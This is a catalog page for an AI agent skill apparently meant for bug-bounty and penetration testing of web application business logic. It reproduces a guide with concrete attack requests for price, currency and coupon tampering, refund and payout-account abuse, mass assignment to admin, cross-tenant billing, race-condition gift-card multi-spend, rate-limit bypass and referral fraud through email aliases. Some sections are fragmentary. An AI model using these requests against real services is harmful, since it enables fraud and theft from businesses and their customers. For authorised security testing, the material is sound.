Best for
- Use when scoping an application after surface-
SnailSploit/Claude-Red/Skills/web/offensive-business-logic/SKILL.md
Business logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-
Decision brief
Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.
Compatibility matrix
| Platform | Status | Evidence | What to check |
|---|---|---|---|
| Codex | Not declared | No explicit evidence | Portability before use |
| Claude Code | Not declared | No explicit evidence | Portability before use |
| Cursor | Not declared | No explicit evidence | Portability before use |
| Gemini CLI | Not declared | No explicit evidence | Portability before use |
Installation
The source command is displayed only when detected. A safe inspection prompt is always available so your agent can explain every action before execution.
npx skills add https://github.com/SnailSploit/Claude-Red --skill "Skills/web/offensive-business-logic"Inspect the Agent Skill "offensive-business-logic" from https://github.com/SnailSploit/Claude-Red/blob/aeb41eca7088a703c3a35fbcba3086d4a6c1aa4e/Skills/web/offensive-business-logic/SKILL.md at commit aeb41eca7088a703c3a35fbcba3086d4a6c1aa4e. List every install step, command, network request, credential, file read/write, external action, and rollback step. Explain whether it fits my task. Do not install or execute anything until I approve.
Workflow
1. Map every multi-step flow as a state machine (states + allowed transitions + side effects) 2. For each transition, ask: who can call it, in what state, with what inputs, how many times 3. Probe each axis (state, identity, input, frequency) for assumptions 4. Combine flaws — s…
Review the “Workflow / State-Machine Bypass” section in the pinned source before continuing.
Review the “Skip a Required Step” section in the pinned source before continuing.
For each user flow, draw: - States: cart, pending payment, paid, shipped, refunded, cancelled - Transitions: which API/UI action, which role, which preconditions - Side effects: balance change, inventory change, email, webhook
For each user flow, draw: - States: cart, pending payment, paid, shipped, refunded, cancelled - Transitions: which API/UI action, which role, which preconditions - Side effects: balance change, inventory change, email, webhook
Permission review
The documentation includes network, browsing, or remote request actions.
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)The documentation includes network, browsing, or remote request actions.
curl https://app/api/openapi.json | jq '.paths | keys'Evidence record
| Signal | Value | Evidence type | Meaning |
|---|---|---|---|
| Quality score | 88/100 | Computed | Documentation, specificity, maintenance, and trust rules |
| Repository stars | 2,808 | Source | Repository attention, not individual Skill quality |
| Compatibility | 0 platforms | Source | Declared in the catalog source record |
| Usage guide | automated source guide | Editorial | Generated or reviewed according to the visible evidence level |
Pinned source
Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.
For each user flow, draw:
Look for transitions that:
cart → shipped without paid)shipped → cart)# Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)
# Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js
# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'
# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
# Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings
# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }
# Refund endpoint without idempotency
POST /api/orders/123/refund # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)
Move a finalized object back to an editable state where mutations have effect:
PUT /api/order/123
{ "status": "draft" } # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }
Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.
# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
for v in GET POST PUT PATCH DELETE OPTIONS; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
echo "$v $path $code"
done
done | grep -v -E ' (401|403|404) '
POST /api/cart/add
{ "sku": "tv", "qty": -1 } # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost?
POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }
If the server trusts client-supplied price, you set the price. Test every numeric field — price, total, discount, tax, shipping, subtotal, currency.
POST /api/checkout
{ "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" } # Even better
{ "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1?
Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.
# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" } # Stacks?
POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?
# Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }
# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable
# Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }
# Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?
POST /api/orders/123/refund { "amount": 99999 }
Order ships 5 items, you return 1, request refund for full order. Logic should compute refund per returned item; if it computes per order, free items.
POST /api/orders/123/refund { "method": "store-credit" }
# vs original card payment → store credit can be transferred / sold
PUT /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT /api/payout-account { "iban": "ORIGINAL" } # Restore before audit
POST /api/users/me
role=user&role=admin # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-wins
POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
# Charges victim-corp for attacker's order
PUT /api/users/me
{ "email": "[email protected]", "isAdmin": true, "credits": 10000, "tenantId": "victim" }
Test every field that exists on the model, not just those the form exposes.
POST /api/projects/PUBLIC-PROJECT/share-token # Anyone can mint
GET /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
# Sharing API meant for collaborators bypasses role check on data API
Logic checks that read state, then act on state, are TOCTOU-vulnerable. (Also see: offensive-toctou, offensive-race-condition.)
# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
# all requests' last frames sent in one TCP segment. Server processes them concurrently.
| Flow | Race |
|---|---|
| Coupon redemption | N parallel apply-coupon calls each see "unused" |
| 2FA verification | Submit code N times in parallel before lockout counter increments |
| Withdrawal | Parallel withdraws each see full balance |
| Vote / Like / Reaction | "One per user" check raced |
| Invitation acceptance | Multiple accepts → multiple seats granted |
| Free-trial signup | Parallel signups → multiple trials per email |
| Gift-card redeem | Parallel redeems → multi-spend a single card |
| Inventory reservation | Parallel buys of last item → oversell, supplier covers difference |
# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10
# Result: $300 credited from a $10 card
| Bypass | Mechanic |
|---|---|
| Token reuse | One captcha solve, replay token across many requests |
| Endpoint mirror | /api/v1/login rate-limited, /api/v2/login not |
| Header rotation | X-Forwarded-For: <random> resets per-IP counter |
| HTTP/2 stream multiplexing | Each stream counted as same conn → window only |
| Method/case variation | POST /Login vs POST /login keyed differently in cache |
(userid, ip) not per userid.# Email aliasing
[email protected], [email protected] # Plus-aliasing
[email protected], [email protected] # Dots ignored on Gmail
[email protected] # gmail/googlemail equivalence
# Phone number recycling (number-portable VOIP) — identity not unique
# Device-ID rotation (mobile testing) — wipe storage, new install
POST /api/refer { "email": "[email protected]" } # +$5 to me when they sign up
# Sign up the alias, receive referral
POST /api/refer { "email": "[email protected]" } # Repeat — many sign-ups, all same person
PUT /api/subscription { "tier": "free" } # Cancel paid
GET /api/feature/premium-export # Still works because feature flag cached?
PUT /api/subscription { "tier": "pro" } # +1000 quota
PUT /api/subscription { "tier": "free" } # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" } # +1000 again — net 2000 in one cycle
POST /api/addons { "id": "extra-storage" } # +10GB
POST /api/addons { "id": "extra-storage" } # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" } # Or charges once, stacks N times?
POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT # Server-trusted time?
X-Request-Time: 1577836800
Set client-side date to inside the window, server validates X-Promo-Time parameter. Stale promo cache means yesterday's prices apply today.
Refresh token endpoint that doesn't check the original token's expiry → indefinite session extension.
Single-axis findings are interesting; chains are payouts.
Example chain (real, paid bounty):
100% off × 2 → negative totalChain template:
Day 1: Map state machines for top 3 money flows.
Day 2: Per state, list what the UI does. Check what the API allows.
Day 3: Single-axis tests (price tampering, role mass-assignment, replay, currency).
Day 4: Race conditions on every "one-shot" action.
Day 5: Chain the findings. Quantify financial impact per chain.
Document each finding as: pre-conditions → exact request sequence → state delta → financial impact per execution → scaling factor.
Business-logic findings often get downgraded by triagers who don't understand the chain. Always include:
Alternatives
AI-Unified-Process/marketplace
Creates Vaadin Browserless server-side unit tests for Vaadin views covering navigation, component interactions, form validation, grid operations, and notifications. Use when the user asks to "write Browserless tests", "write Vaadin UI unit tests", "unit test a Vaadin view without a browser", "create view tests with the official Vaadin testing framework", or mentions Browserless testing, SpringBrowserlessTest, browserless-test-junit6, UI Unit Testing, or server-side Vaadin testing.
mgiovani/cc-arsenal
Multi-agent review team: architecture, security, performance, testing, style, docs/UX, plus an adversary that cross-examines the other 6, for security-sensitive, architectural, or large PRs (15+ files) where a single-agent pass risks missing cross-cutting issues. Use for auth/payments/PII changes, schema/pattern changes, compliance sign-off, or when asked to 'get the review team on this' / 'multi-agent review' / 'thorough review before merge'. For a standard PR or a quick pre-merge check, use /r
event4u-app/agent-config
Use when writing Playwright E2E tests — browser automation, visual regression testing, Page Objects, fixtures, and reliable test patterns.
JasonColapietro/suede-creator-skills
Design AI evals that catch regressions before users do: rubrics, test cases, failure modes, acceptance gates, and AI-SPEC artifacts.